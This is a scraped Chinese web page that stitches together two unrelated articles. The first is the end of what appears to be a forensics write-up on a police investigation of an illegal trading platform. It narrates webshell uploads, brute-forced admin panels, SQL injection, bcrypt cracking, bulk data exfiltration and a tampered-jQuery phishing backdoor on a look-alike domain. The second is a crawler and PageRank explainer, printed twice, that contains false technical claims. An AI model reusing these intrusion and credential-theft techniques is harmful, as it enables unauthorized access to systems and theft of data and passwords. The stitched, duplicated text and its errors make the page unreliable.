  第一个注册的用户竟然是武*(起始id为**00),这说明了武*很有可能掌握targetB的重要信息,况且又是一个公司中开发团队的领导。几个线索一关联,随后定位到这个“companyA”。
  既然APP是“companyA”团队开发的,处于方便维护targetB网站原因,说不定他的服务器能连接到targetB的数据库呢。抱着这个念头,我掉转枪口准备怼companyA。
  三、 交出白名单:
  常规手段入侵“companyA”。通过信息收集,找到放置“targetB”网站的服务器,反向查询得到所有解析到该IP的域名。发现大多数网站都是基于thinkphp开发的,看来程序猿是严重依赖该框架的。俗话说捡软柿子捏,这次继续通过框架的报错特性拿到数据库连接信息和当前网站的路径。由于这次MySQL开启了外联功能,可以连接到数据库且是root权限的。利用mysql的导出功能给网站目录导出了一个WebShell,如图4-9所示。
  
  图 4-9 获取webshell
  顺手提取了administrator的密码,成功连接到远程桌面:
  
  图 4-10 提权服务器并连接
  咱们这次不能白来,果然可以连接到targetB数据库,如图 4-11、4-12所示。
  图 4-11 利用客户端连接数据库
  
  图 4-12 成功连接到数据库
  考虑到远程桌面打包起来过于麻烦且会留下大量痕迹,索性在webshell下导出所有数据
  
  图 4-13 webshell下导出数据库
  随后通过特殊办法分批将数据传输出去,如图 4-14
  
  图 4-14
  
  图 4-15 整理归类
  意料之外的战果,通过日志发现了“targetB”的后台:原来真正的后台是/****-admin,上次的后台/admin是废掉的。如图 4-16所示。
  图 4-16 targetB后台系统1
  图 4-17 targetB后台系统2
  这个后台对于我来说已经没什么用了,反正数据库权限已经拿到了。至此完成了对“targetB”的数据库取证,同时值得一提的是这个APP还收集用户的GPS信息,所以根据“心中有剑,落叶飞花,皆是兵器”这个思路可以将此数据用于后续对主要犯罪嫌疑人的定位。此时我的心情就好像从雨夜到了多云,本来可以开心的,但任务并不是拿下targetB,而是拿下这个交易平台的,毕竟 targetB并非直连到targetA数据库,简单讲targetB在法律上不能作为证据。这点东西远远不够,甚至可以说“跑题”了,一时陷入了僵局……
  第五节 “山重水复疑无路,柳暗花明又一村”——review出的突破口:
  2011年有个著名的高考作文题目——“回到原点”,戏剧性的是我回到原点时发现了新的情况。对的几个子域名进行测试,成功的找到其中一个网站的报错信息,如图 5-1、5-2所示。
  图 5-1 产生报错信息
  图 5-2 发现报错信息中的网址
  通过报错的文件,找到了一个看似不相关的网站:。访问一下看看吧,如图5-3,这个网站看起来很眼熟呀,经过我多次观察,发现这个网站外型是“素颜”版的,但它们二者究竟是什么关系?当我用之前在注册的账号尝试登陆时候,提示错误;通过特殊方法,发现这个网站只有X万左右的账号,而user却有XX万账号的,显然不是一个数据库,但二者关系很紧密,究竟是什么关系?
  
  图 5-3 该网址登录界面
  第六节 误打误撞的战术迂回:
  信息收集:
  /
  会员数量:5****
  爆破成功:***.***.***.84
  爆破成功:-***.***.***.152
  爆破成功:-***.***.140.99
  爆破成功:-***.***.101.151
  爆破成功:-***.***.44.55
  爆破成功:-***.***.44.55
  通过反查该服务器IP,发现有若干网站建设在此服务器。对其中一个网站的后台暴力破解成功进入,然后突破上传拿到webshell,读取administrator的密码连接远程桌面,常规过程不再赘述。
  
  图 6-1 旁站登录界面
  
  图 6-2 提权并连接服务器
  打包带走所有数据:(先森,你越界了,——小编注)
  
  图 6-3 打包数据
  在查找数据的过程中,发现D盘有个大新闻,原来这货(服务器所有者)的服务器上经营了多个类似涉案的网站,targetA只不过是其中的一个,推测 XX多万会员可能只是个幌子,很大几率是从这里面汇总过去的。
  
  图 6-4 发现更多非法网站
  同时发现该web服务器对应的域名里,赫然出现了
  
  图 6-5 曾经的targetA网站配置信息
  综上所述我的结论是,这可能是一台测试开发用途的服务器或者是旧版的网站所用过的服务器。随后打包走所有代码,下载回本地查看。
  
  图 6-6 打包的数据量
  通过本地对代码的分析,发现数据库文件存在于.env里:
  图 6-7 分析数据库配置信息
  由于这是旧的源码,不确定数据库连接信息是否更新过。再次通过技术手段查到以下几个IP可能是的主站:
  
  图 6-8 疑似主站真实IP
  随后尝试down下它们的.env文件,发现其中的个别网站确实能查看:
  
  图 6-9 尝试配置信息取回本地
  图 6-10 主站数据库配置信息
  如出一辙,它们的数据库连接信息都是
  rm-2*****************
  和刚才的 开发测试服务器 上发现的数据库实例只有一个字母的差别(两个域名皆指向同一台数据库,但分别是数据库的公网、内网IP),当我尝试连接这个rds时,提示错误。通过ping发现是一个内网IP。
  图 6-11 发现是数据库为内网地址
  尝试连接 rm-2********** 时候,直接提示“你的IP不在白名单内”(就连当前 这个开发服务器 也提示不在白名单内),顿时心情好似在下雪,前面大风大浪我都走过来了,难道就这么输了?
  答案是不可能的。和一位搞安全的朋友C吐槽了这番窘状,毕竟前面工作已经进展了一大半,况且目标网站的大部分源码已经到手了。原本又要增加N天的工作量的代码审计,在朋友随后的“发我源码”中完美解决,一杯咖啡的工夫,他发现了一个明显的SQL注入:
  
  图 6-12 挖出注入漏洞
  Where字符拼接导致的注入:位于交易系统pul.*****(之前是,后为逃避有关部门打击改成了pul.*****)中的cookie里,就在此前我发现存在越权漏洞的位置。当时脑子短路了,只想到那是个越权,却忘记了那里的key也是带入到数据库进行查询的。
  朋友C用手工注入的方式,发现密文位数很高,翻看代码时候发现是bcrypt函数加密的
  
  图 6-13 加密函数
  随后我俩心照不宣的进行了分工,简单写了两个脚本:
  图 6-14 盲注脚本
  
  图 6-15 bcrypt爆破脚本
  以下是朋友用盲注脚本跑出的,可见密文是多么高级,只能采用爆破的方式:
  $2y$10$Q8j***************************************fVHORkhGXO
  $2y$10$0B*************************************UserKd3ysBWizW.
  $2y$10$Oo1***********************************O4VaOnV5FDCrO
  $2y$10$dV**************************************jDn508IHUuOTq
  $2y$10$H***********************************UESOecqSEhOXj.35u
  爆破字典是破解密码的关键,不讲套路的爆破都是耍流氓!通过这一个月来收集的信息,整合了所有已知的涉案关键字,定制了几十万行的密码字典,并且购买了性能很高的VPS进行碰撞,一夜之后碰撞结果出来了:
  第七节 你好,久违的后台:
  通过技术手段找到pul.*****的后台,打开后发现居然和前面这个测试开发服务器上的某个网站的后台外型上完全一样,利用爆破出的账号密码进入后台,相同的方法getshell。
  
  图 7-1 交易系统的后台
  
  图 7-2 拿到交易系统的webshell
  这里插一句,测试开发服务器上的某个网站的后台和pul.*****的后台系统代码完全一致,可以推断出pul.*****的后台就是被测试服务器的所有者开发的(即,targetC的公司,后面专门分析该公司)。
  拿下这个网站后,我确定这个服务器的IP位于targetA数据库的白名单内,随后上传转发脚本,准备导出数据。进程不是想象中那么愉快,中间遇到导出速度慢至几十Kb或者出现失去响应等情况,没办法只能换别的思路(后期整理思路时候,想起来其实完全可以用mysqldump来脱数据,只是当局者迷忘记这个操作了)。
  这时候我想起了**.**.117.220(这个IP是的后台所在的服务器)。对该服务器进行端口扫描后,发现额外还有个83端口,访问后,后台风格和刚才那个完全一致,利用破译出来的密码成功登陆并且getshell和服务器最高权限。
  
  图 7-3 主站的后台
  由于是windows系统并且发现管理员的session深夜还在线,不敢鲁莽行事,给administrator账号植入了一个“屏幕查看”工具用以监控桌面:
  图 7-4 监控管理员桌面
  原来是手工记账,大半夜还在工作,都是打工的不容易啊。监控管理员到1点左右,抓取登录密码、连接远程桌面、上传数据库导出软件,一气呵成。好家伙,两个数据库导出文件三个多G,强行压缩到300M;而且发现服务器上网站挺多,一样打包带走,两个多G强行压缩到1个G带走:
  图 7-5 目标targetA的系列网站
  
  图 7-6 打包后的数据量
  至此完成主线所有任务。
  第八节 太公钓鱼:
  猥琐思路,劫持后台登录密码。考虑到后台那几个管理员账号的明文密码我拿到而且密码强度又太高,就算超级计算机也不一定完全无法碰撞开,怎么办?坐等收网审讯交代密码,不如来个姜太公钓鱼,让他把密码“送”给我~
  首先,购置一台VPS并注册了一个高仿的域名*****。
  图 8-1 注册高仿域名
  其次,防止被发现,我将其他的子域名做了cname解析,除了www以外,其他二级域皆重定向到真正的平台。
  再次,通过观察网站后台的前端代码,发现调用了jQuery,那我就篡改jQuery的代码,在加载js文件的同时加载我的后门:
  图 8-2 观察前端代码
  图 8-3 植入前端钓鱼代码
  最后,利用网上公开的JavaScript劫持表单的代码进行了二次修改,加之有关部门落查IP还需要端口号和在线时间等信息,最后简单写了一个PHP后端接收的代码:
  
  图 8-4 后端接收代码
  没有等太久,第二天一大早鱼儿咬钩了:
  图 8-5 鱼儿上钩了
  系统超级管理员Admin的明文密码里包含字母、数字和字符,强度很高,丢到后台查询了,明文和后台密文完全一致,打完收工~
  第九节 整理思路:
  写的比较乱,我再重新整理下思路:
  1、 平台存在很小的越权漏洞、后台账号存在弱口令,前期通过这些漏洞获取了部分数据用于立案侦察;
  2、为了拿到权限,扩大战果。全网搜集有关targetA的资料,成功找到companyA开发的一款名为“targetB”的APP,经过分析得知是targetA的手机端交易、聊天APP,以为跟主站是一个数据库,随后查到开发公司并入侵之,拿到targetB的数据库;
  3、虽然有所战果,但并不是最终目的,重整思路。经过测试后发现目标分站的程序报错,其中有个看似不相关的网址targetC,引起了我的注意【突破口】;
  4、经过分析调研,发现这个网站可能是targetA早期的平台,随后通过技术手段拿到targetC的服务器权限,成功获取了平台的开发源码,也得知了这可能是targetA网站的开发服务器;
  5、审计代码找到漏洞,一举拿下targetA(*****)平台的多个网站,又成功获取到其中一台服务器的权限,进入服务器打包走代码和数据,完成取证任务。
  6、通过劫持后台的方式获取所有管理员的明文账号密码等,成功获取所有管理员的信息。
  过程比较曲折,有种三起三落的感觉,好在最终不辱使命。从战术上来讲,针对targetA平台,先是全面战争,再是收缩战线,最后逐一击破。最重要的还是信息收集这个环节。前期收集的信息足够多,后续收缩战线时候才能发挥到极致,比如组合字典那环节。通过最后几天的渗透摸排,得出大概如下架构:
  
  大约6台WEB服务器,两台MySQL数据库,其中94是阿里数据库实例。
  第十节 手工仿真数据库及证据链分析
  想必作为公众号 信息时代的犯罪侦查 常年只看、不打赏还总白嫖的老看官,众所周知关于计算机取证方面最重要的要素之一就是完整性,因此先森取证时候并未直接down回元数据而是采取了数据库镜像的方式来保证这一点。那么问题随之而来了,后期如何在保证数据在不被修改的情况下将取回的数据库本地还原起来呢?其实这个过程操作的主要要点跟操作系统方面仿真一样,无非是架设起来环境和修改密码。
  一、确定MySQL版本号。
  原始数据库的环境是运行在Linux下的,先森比较懒惰,处于方便操作及安装调试方面的考虑,选择在Windows Server2008上还原数据库。将解压完的数据库镜像文件夹重命名为DATA,案例中是在xtrabackup_info文件夹中找到的数据库版本信息,如图 10-1所示。
  
  实在找不到版本号的情况下可以选择在要取证的服务器上输入mysql –v来查看或者根据建库时间来推数据库的版本。
  打开Oracle公司旗下的MySQL的历史版本发布网站 (由于众所周知的原因,访问外文网站可能较慢, 建议在不违反法律的情况下使用Proxy进行下载),根据需求选择合适的版本下载。
  
  二、配置数据库并复制数据。
  由于我们下载的MySQL是“绿色版”,因此需要对其进行简单的配置来确保数据库能够运行起来。将程序根目录的my-default.ini重命名为my.ini,接着按照注释内容指定好路径即可。这里我并未将存放元数据的文件夹放入到MySQL根路径下,有强迫症的朋友还原数据库的时候可以覆盖过去,最主要就是my.ini中的路径一定要配置正确。 参考图 10 -2
  
  三、安全模式启动数据库并手动修改密码。
  打开命令行并跳转到MySQL的bin目录下,执行命令“mysqld.exe --skip-grant-tables”,意思是启动数据库时跳过权限表,类似我们Linux取证时候的单用户模式。
  
  这时候MySQL的进程就自动进入后台了,接着在终端下启动新的进程mysql.exe,执行命令“mysql.exe –uroot –p”进入到数据库中。在终端中输入”show databases;”来确认数据库还原情况,通过下图可以看到数据库已还原起来。
  
  最后在MySQL中执行修改密码命令” update user set password=password('root') where user='root';”,下次登录数据库时候就可以使用该密码登录了,启动MySQL时去掉--skip-grant-tables参数即可,或者将其加入到服务中,跟随系统启动。
  
  下次登录MySQL时候只需要使用“mysql.exe –uroot -p”,在接下来的提示符中输入密码root即可登录进数据库。
  关于本案的证据链关联方面的分析:
  (以下内容太多涉及到涉案关键字,已作出大量删减,因影响阅读,请各位谅解)
  测试开发服务器的所有者隶属于 companyB 公司:
  
  而早期侦察的结果是,的开发是 “companyC”提供的,而这个“companyC”又是隶属于 company 的。网站代码里曾经多次出现过有关“companyC”的注释、链接等。
  targetB的线索:
  ********的公司的法人曾是 S某,后经过变更改为 L某。
  通过检索发现,S某 还有一家名为 “companyD”的公司,同样跟targetA有千丝万缕的联系。
  其次 S某 的手机号曾经出现在 张** 的录制视频里,我们有理由相信他们是认识的,甚至可能是合作关系或者同事关系。
  其中民警通过内网系统的反馈,尾号为2227的手机号机主就是S某。
  综合所有线索,大胆推测:targetA的开发者是 companyB,除了已有的线索外,他公司还有一个特点就是专门开发与涉案相关的产品,甚至有可能还是幕后推手;后来targetA为了壮大规模,推出了一款名为“targetB”的APP,开发者是来自**(某地区)的companyA公司。根据两个月提取的数据库日志来看,后台管理员活跃的几个地点如下:北京、山东、江苏;其中targetA的后台管理员活跃地为江苏,targetB的则是山东和北京。
  是为结局。
  【编者注】文中提到所有的企业,如天眼查,本号没有收取他们任何费用支持,特此声明。

大数据时代,如何搜集有效数据?

网站优化优采云 发表了文章 • 0 个评论 • 64 次浏览 • 2022-06-17 20:13 • 来自相关话题

  大数据时代,如何搜集有效数据?
  在上一篇文章(《大数据时代,参数怎么降维?》)[1]中,小编从阿尔兹海默症成病机理出发,提到了如何对模型参数降维的问题。我们先来复(Yù)习(Xí)一下那张图表:
  
  经过复(Yù)习(Xí)后,这张图似乎不再那么催人入眠了!不仅如此,而且我们可以使用信息几何,这一自内而外散发着高格调的技术,达到参数降维的目的。正所谓——
  一声惊雷划冬去,两鸣鸿雁游春来。
  三月桃花映山红,四处玉兰拟雪白。
  五味醇酿温心海,六色晨光覆阴霾。
  七刻余晖寓暖阳,八方云动照英才。
  冬去春来,良辰美景,更何况突然有了解决难题的思路,心情大好,正该不醉不归!但回头仔细一想,读者们会发现还有另一个大问题——数据从什么地方得来呢?巧妇难为无米之炊,就算理论算法再高屋建瓴天花乱坠,若没有实验数据的支持,那也无异于纸上谈兵。大数据时代,信息(数据)的搜集可是极其重要的。信息(数据)通常来源于网络,而如何过滤掉无用的数据,提取有效成分,这也是公认的难题。下图是一个例子:
  
  提取有效信息的过程
  因此提取有效数据的关键在于准确地抓住信息的特点,或者关键词(keywords)。当我们把关键词输入到搜索引擎(百度、谷歌等)后,这些搜索引擎就会以一定的优先级返回我们想要的信息。那么搜索引擎是怎么展开搜索的呢?答案:网络爬虫或者网络蜘蛛(web crawler或web spider,以下简称爬虫)。
  一、网页的本质
  网是静态的,但爬虫是动态的,所以爬虫的基本思想就是沿着网页(蜘蛛网的节点)上的链接的爬取有效信息。当然网页也有动态(一般用PHP或ASP等写成,例如用户登陆界面就是动态网页)的,但如果一张蛛网摇摇欲坠,蜘蛛会感到不那么安稳,所以动态网页的优先级一般会被搜索引擎排在静态网页的后面。
  知道了爬虫的基本思想,那么具体如何操作呢?这得从网页的基本概念说起(本文只讨论静态网页)。一个网页有三大构成要素,分别是html文件、css文件和JavaScript文件。如果把一个网页看做一栋房子,那么html相当于房子外壳;css相当于地砖涂料,美化房子外观内饰;JavaScript则相当于家具电器浴池等,增加房子的功能。从上述比喻可以看出,html才是网页的根本,毕竟地砖颜料在市场上也有,家具电器都可以露天摆设,而房子外壳才是独一无二的。
  下面就是一个简单网页的例子:
  
  而在爬虫眼里,这个网页是这样的:
  因此网页实质上就是超文本(hypertext),网页上的所有内容都是在形如“...”这样的标签之内的。如果我们要搜集网页上的所有超链接,只需寻找所有标签中前面是"href="的字符串,并查看提取出来的字符串是否以"http"(超文本转换协议,https表示安全的http协议)开头即可。如果超链接不以"http"开头,那么该链接很可能是网页所在的本地文件或者ftp或smtp(文件或邮件转换协议),应该过滤掉。
  二、爬虫实例
  既然知道了网页的本质,相信读者们已经跃跃欲试了。为了使读者更好地理解爬虫的工作原理,小编将用两种方式编写一个最简单的爬虫,用以获取谷歌首页上的所有超链接(以或开头,过滤掉本地文件),并把它们存到电子表格(Excel)中。
  从第一节的分析可以看出,超链接出现在标签"... "中,所以我们只需要匹配关键词"href="即可。考虑到python是最简单且使用最广泛的多用途语言,小编以python 3.6版本为例写了如下爬虫,详细注解都在图片中,有兴趣的读者可以亲自尝试,看看会出来什么结果:
  如果采用过程式编写思路,代码还会更短一些。为图简单,小编没有使用异常处理手段(Exceptional Handling,一般指try-exception语句,或者条件语句加flag值),这种语句可以用于检查网络链接是否异常、搜集文件的过程是否成功甚至本地文件读写是否正常等。这种手段常常被经常做计算机模拟的科研工作者忽视,以至于当小编把自己写的程序和一些教授讨论时,常常被评论说我的程序“很花哨,没必要写得像商业程序”。尽管这种手段并非必须,但经小编大量实践后发现,当编写的代码过长时,这种手段实则可以有效提高程序查错(debug)的效率。尤其是在计算机模拟中,程序中的bug经常来自于内存错误(数组长度溢出、指针错误等),若不采用异常处理手段,这种bug会非常棘手。就像恋爱中的少女一样,因内存错误造成的程序崩溃可以发生在任意时刻任意地点,全由计算机的心情而定。
  或许不了解编程读者会表示异议:“这代码有足足32行,哪里简单了!”其实去掉空行和评论后也就21行,也不算太多。什么,还嫌多?好吧,为了造福更多读者,也为了让大家感受一下21世纪之前的程序员前辈们是如何码代码的,小编又用Unix的外壳脚本(shell script)把这个爬虫重新写了一遍,并命名为"crawler.sh"。同样,详细注释尽在图中(这是所有Unix系统都有的emacs文档编辑器):
  从21行简化到只有8行!执行后,得到的电子表格内容是这样的:
  如果经过了尝试和对比,读者可以发现使用外壳脚本比python多搜集了很多网址,而且还去掉了重复的链接。这是因为“wget”命令不仅搜集了谷歌主页面上的所有链接,而且直接把谷歌根目录里能访问到的文件全都爬了个遍。有了这一项技术,我们可以大大丰富电脑E盘中“三个代表重要思想”、“党章党规全集”和“日本现代史研究”等文档的内容,从而精神境界得到极大提高。
  有经验的读者可能注意到了,小编明明用的是Windows系统的命令指示符(cmd),又没有安装虚拟机,怎么变成了Unix的外壳脚本呢?从历史角度来讲,Unix和Windows完全是两个不同派系,两者理应是互不兼容的。但事实上2015年自Win10发布以后,微软官方就宣布Win10可以很简易地安装苹果的终端(苹果OS系统是Unix系统的一个分支,具体方式见文献[2]),并通过“bash”命令实现从cmd到苹果终端的转变,从此告别了Unix虚拟机的时代!值得一提的是,vim文档编译器可以在Windows下直接使用;emacs由于功能较多,需要输入“sudo apt-get install emacs”命令来安装。
  
  值得一提的是,因为习惯原因,很多人根深蒂固地认为Windows系统更适合家用,Unix系统才适合程序员。其实时代一直在变化,微软集团也在不断地对Windows系统进行改进,一方面更好地兼容Unix体系,另一方面则开发更为先进的外壳平台。例如Powershell就是一个很好的例子。小编试着用过Powershell,它的一些语句和Unix外壳脚本颇为类似,同时也支持对象的定义,而且还有和编程语言一样的高度可读性。只是对于习惯了Unix外壳的程序员而言,Powershell可能显得不那么熟悉。
  回到爬虫的话题。经过两种方式的对比,我们可以发现外壳脚本的巨大优势——可以与计算机硬件直接交流,这就是为什么程序调试员往往对外壳脚本(或汇编语言)滚瓜烂熟的原因。当然作为多用途式的编程语言,python的其他优势也不是外壳脚本所具有的。在什么场合使用何种语言,这个判断十分重要。
  三、守规矩的爬虫才是好爬虫
  当一个爬虫活动过于频繁时,会造成网络交通堵塞,因此一些网站很反感陌生的爬虫。怎么样限制陌生爬虫的行为呢?答案就在目标网站根目录的"robot.txt"文件里面,这个文件规定了爬虫应该遵守的条款。当正常的爬虫开始爬取网页信息时,会首先检查robot.txt的规定并且遵守它。例如百度的robot.txt是这样的:
  可见百度只允许少数几个搜索引擎访问,所以直接用第二节的方法爬取百度首页是会被拒绝的。如果确实有批量作业的必要,则应该把爬虫的“User-agent”改为上述任一浏览器的字符串,以模仿浏览器访问的过程,并且限定爬虫的活动频率。
  有的坏爬虫(Bad bots)直接无视掉robot.txt里的约束,肆无忌惮地爬取网页信息,不仅可能造成网络瘫痪,还会出现安全隐患。如何过滤掉这些爬虫,是网络安全领域的一大课题,尤其是高级的爬虫会使用分布式技术(多个客户端分别爬取网页,用以防止IP被查封)和抓取AJAX(用以模仿JavaScript以爬取动态网页)等,这就使得反爬虫的工作变得十分具有挑战性。
  
  把坏爬虫抓出来。图片源自网络
  有趣的是,几乎每个大型网站都会有对应的robot.txt,而这些文件能在一定程度上反映出不同网站开发者的偏好。有兴趣的读者可以自行分析。
  四、完整的搜索引擎
  搜索引擎要做的当然不止普通爬虫那么简单。读者可以思考一下,当你在百度上输入关键词“谢雕英雄传”时,搜索出的结果会是“射雕英雄传”,怎么做到的呢?显然还需要文字和网页的预处理(Preporcessing)。另一方面,能匹配关键词的网页太多了,总得有个先后次序吧。这就是网页的排序(Ranking)问题[3]。
  预处理通常有三个步骤,第一是把网页中的文字编号(indexing),这样匹配关键词就变成了寻找编号的的问题;第二是关键词溯源(stemming),例如去掉“的”、“我”和标点符号等不重要符号限制;第三是提取网页中的关键信息。要记住,浏览器眼中的网页永远都是一堆代码,所以需要过滤掉标签符号、超链接和网页排版布局等冗杂信息。
  网页排序的算法有很多,不同浏览器使用的算法也有不同,但核心都是一样的——把网络看作有向图(小编在《爱因斯坦vs阿尔法狗》[4]中提到过,这里又出现了)。网页是有向图的节点,如果网页A上有指向网页B的链接,那么就形成了一条节点A到节点B的箭头,有向图就这么被产生了。
  
  可以看出,[4]中的神经网络其实只是网络的一个特例。如果一个网页(节点)的链接出现在其他很多网页上,说明这个网页很受欢迎,理应得到较高的排名。事实上我们可以把这一过程用马尔可夫链(Markov Chain)表示出来。以谷歌的PageRank算法为例[5]:
  
  由马尔科夫链的遍历性定理可知,当矩阵A满足不可约和渐进无周期条件时(irreducible和aperiodic,也就是网络连通,且当经历的链接够多时两个网页的深度只相差1),以上关于向量P(把P看作向量,分量加起来为1)的方程一定存在稳定解。稳定解(或者收敛性)是计算工作者们的最爱,因为有了稳定解以后,就可以通过迭代算法把这个稳定解找出来,从而得到网页排序!
  一帆风顺的事并没有那么多,因为用上面这一方法定义出来的A未必不可约。这就是为什么要额外加一项d,把右边这个矩阵活生生地变得不可约。这就是PageRank算法的精妙之处——看起来很简单,但简单的智慧往往可以创造出巨大的功效。这也是小编所希望追求的数学——简单,但普适性很高。
  
  PageRank大致效果。图片源自网络。
  当然,这只是最原始的PageRank算法。由于不少网站利用这一算法的特点,来千方百计增加自己的排名(例如把字体和网页背景色设置为一样的颜色以欺骗搜索引擎),谷歌也不断在更新自己的算法,以达到精准和快速两大目的。两者之间的相互较量也构成了网络领域的另一个课题,即垃圾链接和垃圾邮件的清理。其中又有很多手段,在此不一一介绍了。
  五、总结和其他
  如果读者能够读懂整篇文章,那么恭喜,你已经大体掌握了网页的本质、简单爬虫的实现和搜索引擎的工作原理这三大互联网基础知识,可以准确地搜集自己想要的数据了。比起满目琳琅的数据处理和分析手段,数据的搜集方式简单粗暴,一学就会!
  大数据时代,程序员可谓是十分吃香的行业,入门快且收入高,再多繁忙也可一笔勾销。但不同于传统学科,计算机语言的发展更新速度十分迅猛,同一种语言的不同版本都可能发生巨大的变化。例如小编在学习计算机系统的经典教材Computer Systems A programmer's Perspective(《深入理解计算机系统》)时,在线程控制(Thread Control)那一章花了不少时间,因为稍不注意就会发生内存崩溃。
  
  相信通过这幅图能找到不少同道中人
  后来发现了mpi和openmp这两个神奇的工具后,就再也没用过"Ptheread_join"(加入线程)和"Ptheread_exit"(退出线程)这些老掉牙的命令。和细胞生物学类似(在小编另一篇文章《护肤与保养》[6]中提到过),计算机语言也具有高度可变性,我们需要与时俱进,做好学习新知识的准备。
  作为新时代的弄潮儿,生物和计算机领域的人才需求量是巨大的,这两个学科之间交相辉映相辅相成,颇有几分上个世纪数学和物理相互促进共同进步的味道。它们能给21世纪带来怎样的变革?我们在拭目以待的同时,也应当做好应对各种变化的准备。古诗云:
  李杜诗篇万口传,至今已觉不新鲜。
  江山代有才人出,各领风骚数百年。
  古人尚有此等远见,更何况这个沐浴在大数据海洋中,充满了机遇与挑战的时代? 查看全部

  大数据时代,如何搜集有效数据?
  在上一篇文章(《大数据时代,参数怎么降维?》)[1]中,小编从阿尔兹海默症成病机理出发,提到了如何对模型参数降维的问题。我们先来复(Yù)习(Xí)一下那张图表:
  
  经过复(Yù)习(Xí)后,这张图似乎不再那么催人入眠了!不仅如此,而且我们可以使用信息几何,这一自内而外散发着高格调的技术,达到参数降维的目的。正所谓——
  一声惊雷划冬去,两鸣鸿雁游春来。
  三月桃花映山红,四处玉兰拟雪白。
  五味醇酿温心海,六色晨光覆阴霾。
  七刻余晖寓暖阳,八方云动照英才。
  冬去春来,良辰美景,更何况突然有了解决难题的思路,心情大好,正该不醉不归!但回头仔细一想,读者们会发现还有另一个大问题——数据从什么地方得来呢?巧妇难为无米之炊,就算理论算法再高屋建瓴天花乱坠,若没有实验数据的支持,那也无异于纸上谈兵。大数据时代,信息(数据)的搜集可是极其重要的。信息(数据)通常来源于网络,而如何过滤掉无用的数据,提取有效成分,这也是公认的难题。下图是一个例子:
  
  提取有效信息的过程
  因此提取有效数据的关键在于准确地抓住信息的特点,或者关键词(keywords)。当我们把关键词输入到搜索引擎(百度、谷歌等)后,这些搜索引擎就会以一定的优先级返回我们想要的信息。那么搜索引擎是怎么展开搜索的呢?答案:网络爬虫或者网络蜘蛛(web crawler或web spider,以下简称爬虫)。
  一、网页的本质
  网是静态的,但爬虫是动态的,所以爬虫的基本思想就是沿着网页(蜘蛛网的节点)上的链接的爬取有效信息。当然网页也有动态(一般用PHP或ASP等写成,例如用户登陆界面就是动态网页)的,但如果一张蛛网摇摇欲坠,蜘蛛会感到不那么安稳,所以动态网页的优先级一般会被搜索引擎排在静态网页的后面。
  知道了爬虫的基本思想,那么具体如何操作呢?这得从网页的基本概念说起(本文只讨论静态网页)。一个网页有三大构成要素,分别是html文件、css文件和JavaScript文件。如果把一个网页看做一栋房子,那么html相当于房子外壳;css相当于地砖涂料,美化房子外观内饰;JavaScript则相当于家具电器浴池等,增加房子的功能。从上述比喻可以看出,html才是网页的根本,毕竟地砖颜料在市场上也有,家具电器都可以露天摆设,而房子外壳才是独一无二的。
  下面就是一个简单网页的例子:
  
  而在爬虫眼里,这个网页是这样的:
  因此网页实质上就是超文本(hypertext),网页上的所有内容都是在形如“...”这样的标签之内的。如果我们要搜集网页上的所有超链接,只需寻找所有标签中前面是"href="的字符串,并查看提取出来的字符串是否以"http"(超文本转换协议,https表示安全的http协议)开头即可。如果超链接不以"http"开头,那么该链接很可能是网页所在的本地文件或者ftp或smtp(文件或邮件转换协议),应该过滤掉。
  二、爬虫实例
  既然知道了网页的本质,相信读者们已经跃跃欲试了。为了使读者更好地理解爬虫的工作原理,小编将用两种方式编写一个最简单的爬虫,用以获取谷歌首页上的所有超链接(以或开头,过滤掉本地文件),并把它们存到电子表格(Excel)中。
  从第一节的分析可以看出,超链接出现在标签"... "中,所以我们只需要匹配关键词"href="即可。考虑到python是最简单且使用最广泛的多用途语言,小编以python 3.6版本为例写了如下爬虫,详细注解都在图片中,有兴趣的读者可以亲自尝试,看看会出来什么结果:
  如果采用过程式编写思路,代码还会更短一些。为图简单,小编没有使用异常处理手段(Exceptional Handling,一般指try-exception语句,或者条件语句加flag值),这种语句可以用于检查网络链接是否异常、搜集文件的过程是否成功甚至本地文件读写是否正常等。这种手段常常被经常做计算机模拟的科研工作者忽视,以至于当小编把自己写的程序和一些教授讨论时,常常被评论说我的程序“很花哨,没必要写得像商业程序”。尽管这种手段并非必须,但经小编大量实践后发现,当编写的代码过长时,这种手段实则可以有效提高程序查错(debug)的效率。尤其是在计算机模拟中,程序中的bug经常来自于内存错误(数组长度溢出、指针错误等),若不采用异常处理手段,这种bug会非常棘手。就像恋爱中的少女一样,因内存错误造成的程序崩溃可以发生在任意时刻任意地点,全由计算机的心情而定。
  或许不了解编程读者会表示异议:“这代码有足足32行,哪里简单了!”其实去掉空行和评论后也就21行,也不算太多。什么,还嫌多?好吧,为了造福更多读者,也为了让大家感受一下21世纪之前的程序员前辈们是如何码代码的,小编又用Unix的外壳脚本(shell script)把这个爬虫重新写了一遍,并命名为"crawler.sh"。同样,详细注释尽在图中(这是所有Unix系统都有的emacs文档编辑器):
  从21行简化到只有8行!执行后,得到的电子表格内容是这样的:
  如果经过了尝试和对比,读者可以发现使用外壳脚本比python多搜集了很多网址,而且还去掉了重复的链接。这是因为“wget”命令不仅搜集了谷歌主页面上的所有链接,而且直接把谷歌根目录里能访问到的文件全都爬了个遍。有了这一项技术,我们可以大大丰富电脑E盘中“三个代表重要思想”、“党章党规全集”和“日本现代史研究”等文档的内容,从而精神境界得到极大提高。
  有经验的读者可能注意到了,小编明明用的是Windows系统的命令指示符(cmd),又没有安装虚拟机,怎么变成了Unix的外壳脚本呢?从历史角度来讲,Unix和Windows完全是两个不同派系,两者理应是互不兼容的。但事实上2015年自Win10发布以后,微软官方就宣布Win10可以很简易地安装苹果的终端(苹果OS系统是Unix系统的一个分支,具体方式见文献[2]),并通过“bash”命令实现从cmd到苹果终端的转变,从此告别了Unix虚拟机的时代!值得一提的是,vim文档编译器可以在Windows下直接使用;emacs由于功能较多,需要输入“sudo apt-get install emacs”命令来安装。
  
  值得一提的是,因为习惯原因,很多人根深蒂固地认为Windows系统更适合家用,Unix系统才适合程序员。其实时代一直在变化,微软集团也在不断地对Windows系统进行改进,一方面更好地兼容Unix体系,另一方面则开发更为先进的外壳平台。例如Powershell就是一个很好的例子。小编试着用过Powershell,它的一些语句和Unix外壳脚本颇为类似,同时也支持对象的定义,而且还有和编程语言一样的高度可读性。只是对于习惯了Unix外壳的程序员而言,Powershell可能显得不那么熟悉。
  回到爬虫的话题。经过两种方式的对比,我们可以发现外壳脚本的巨大优势——可以与计算机硬件直接交流,这就是为什么程序调试员往往对外壳脚本(或汇编语言)滚瓜烂熟的原因。当然作为多用途式的编程语言,python的其他优势也不是外壳脚本所具有的。在什么场合使用何种语言,这个判断十分重要。
